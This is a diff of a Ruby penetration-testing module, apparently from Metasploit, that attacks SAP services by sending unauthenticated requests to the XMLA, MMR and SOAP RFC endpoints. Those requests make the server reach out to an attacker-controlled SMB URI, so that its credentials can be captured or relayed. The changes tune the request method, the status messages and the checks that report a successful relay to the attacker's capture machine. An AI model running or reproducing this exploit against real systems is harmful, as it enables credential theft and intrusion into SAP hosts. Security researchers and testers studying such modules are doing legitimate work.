@@ -108,7 +108,7 @@ def run_xmla
108
108
if res and res . code == 200 and res . body =~ /XML for Analysis Provider/ and res . body =~ /Request transfered is not a valid XML/
109
109
print_good ( "#{ rhost } :#{ rport } - SMB Relay looks successful, check your SMB capture machine" )
110
110
else
111
- vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " )
111
+ vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " ) if res
112
112
end
113
113
rescue ::Rex ::ConnectionError
114
114
print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
@@ -124,7 +124,7 @@ def run_mmr
124
124
vprint_status ( "#{ rhost } :#{ rport } - Sending unauthenticated request for #{ smb_uri } " )
125
125
res = send_request_cgi ( {
126
126
'uri' => '/mmr/MMR' ,
127
- 'method' => 'GET ' ,
127
+ 'method' => 'HEAD ' ,
128
128
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
129
129
'ctype' => 'text/xml; charset=UTF-8' ,
130
130
'vars_get' => {
@@ -135,7 +135,7 @@ def run_mmr
135
135
} )
136
136
137
137
else
138
- vprint_status ( "#{ rhost } :#{ rport } - Sending unauthenticated request for #{ smb_uri } " )
138
+ vprint_status ( "#{ rhost } :#{ rport } - Sending authenticated request for #{ smb_uri } " )
139
139
res = send_request_cgi ( {
140
140
'uri' => '/mmr/MMR' ,
141
141
'method' => 'GET' ,
@@ -182,8 +182,10 @@ def send_soap_rfc_request(data, smb_uri)
182
182
'sap-language' => 'EN'
183
183
}
184
184
} )
185
- if res
186
- vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " )
185
+ if res and res . code == 500 and res . body =~ /OPEN_FAILURE/
186
+ print_good ( "#{ rhost } :#{ rport } - SMB Relay looks successful, check your SMB capture machine" )
187
+ else
188
+ vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " ) if res
187
189
end
188
190
rescue ::Rex ::ConnectionError
189
191
print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
0 commit comments